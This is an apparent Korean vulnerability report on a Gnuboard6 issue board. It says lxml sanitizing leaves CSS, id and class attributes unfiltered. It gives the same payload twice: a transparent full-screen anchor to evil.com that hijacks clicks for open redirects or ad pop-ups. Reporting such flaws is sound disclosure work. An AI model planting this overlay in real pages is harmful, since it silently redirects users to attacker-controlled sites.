CSS, ID, CLASS misconfigure로 인한 취약점
lxml은 css 및 id, class 부분을 필터링 하지 않기 때문에 이를 조합하면 Open redirect, 광고 사이트 popup 등의 취약점이 발생될 수 있습니다.
영상에서 사용한 페이로드 입니다.
`<a href="https://evil.com" class="win_password_lost"
style="position:absolute; top:0; left:0; width:100%; height:100%; opacity:0.001; z-index:9999;">
Click me
</a>
`
https://github.com/user-attachments/assets/8b5f5ac9-d4b9-48e8-89e5-8077204f901f
영상에서 사용한 페이로드 입니다.
`<a href="https://evil.com" class="win_password_lost"
style="position:absolute; top:0; left:0; width:100%; height:100%; opacity:0.001; z-index:9999;">
Click me
</a>
`
https://github.com/user-attachments/assets/8b5f5ac9-d4b9-48e8-89e5-8077204f901f
게시판 목록
그누보드6 이슈
좋은 댓글과 좋아요는 제작자에게 큰힘이 됩니다.
| 번호 | 제목 | 글쓴이 | 날짜 | 조회 |
|---|---|---|---|---|
| 14 |
kagla
|
1년 전 | 185 | |
| 13 |
kagla
|
1년 전 | 180 | |
| 12 |
kagla
|
1년 전 | 195 | |
| 11 |
kagla
|
1년 전 | 230 | |
| 10 |
kagla
|
1년 전 | 193 | |
| 9 |
kagla
|
1년 전 | 192 | |
| 8 |
kagla
|
1년 전 | 202 | |
| 7 |
kagla
|
1년 전 | 204 | |
| 6 |
kagla
|
1년 전 | 173 | |
| 5 |
kagla
|
1년 전 | 218 | |
| 4 |
kagla
|
1년 전 | 212 | |
| 3 |
kagla
|
1년 전 | 175 | |
| 2 |
KimTom89
|
1년 전 | 238 | |
| 1 |
KimTom89
|
1년 전 | 283 |
댓글 작성
댓글을 작성하시려면 로그인이 필요합니다.
로그인하기